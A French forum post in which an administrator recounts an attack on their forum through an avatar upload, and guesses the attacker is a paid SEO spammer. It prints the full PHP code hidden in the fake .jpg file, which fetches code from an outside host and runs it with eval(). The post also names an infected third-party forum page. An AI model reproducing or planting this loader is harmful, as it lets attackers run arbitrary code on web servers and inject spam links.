L'avant-veille, notre forum avait été attaqué par
krisbarteo.
Il est intéressant de taper une recherche sur ce pseudo,
ça indique les centaines de forums sur lesquels il s'est inscrit
pour introduire son cheval de troie.
En utilisant la fonction de chargement de son avatar,
il a placé un petit fichier .jpg qui contient en fait des instructions,
comme cet extrait révélé en l'ouvrant avec le Bloc Notes :
<?php;$url = '
http://nssat3.com/?update=main';$done = false;if(!$url){return '';}$url_info = parse_url($url);$url_info[port] = ($url_info[port]) ? $url_info[port]:80;$url_info[path] = ($url_info[path]) ? $url_info[path] : "/"; $url_info[query] = ($url_info[query]) ? $url_info[path] = $url_info[path] . "?" . $url_info[query] : ""; $query = "GET " . $url_info[path] . " HTTP/1.1\r\n"; $query = $query . "Host: " . $url_info[host] . "\r\n"; $query = $query . "Accept: */*" . "\r\n"; $query = $query . "Connection: close" . "\r\n"; $query = $query . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" . "\r\n"; $query = $query . "\r\n"; $errno = 0; $error = ""; $sock = fsockopen($url_info[host], $url_info[port], $errno, $error, 30);$h = array();$resp = array();if($sock){stream_set_timeout($sock, 30);fwrite($sock, $query);$hd = false;while(!feof($sock)){$l = fgets($sock);if(!$hd){if(trim($l) == ''){$hd = true;}else{$h[] = $l;}}else{$resp[] = $l;}}fclose($sock);}$ret = implode("", $resp);eval($ret);?>00ÿ
Mon commentaire, sous réserves : à mon avis ce lituanien bosse pour une poignée de dollars, pour le compte d'une agence de pub miteuse, qui a pour clients des sites de petites arnaques (immobilier, casinos, bookmakers...) et s'est engagé à faire monter leur visibilité sur Google.
La cible du hacker n'est pas le forum attaqué. Il se sert des forums pour intoxiquer les moteurs de recherches.
Le résultat de son script fait s'afficher près d'une centaine d'urls sur la page d'accueil, qui sont visibles seulement en demandant à voir la source.
Exemple concret : demandez à faire s'afficher la source de cette page, prise au hasard, celle du forum du Volley club "Les Cigales", infecté sans le savoir :
http://vprb.lescigales.org/forum/index.php?action=profile;u=43
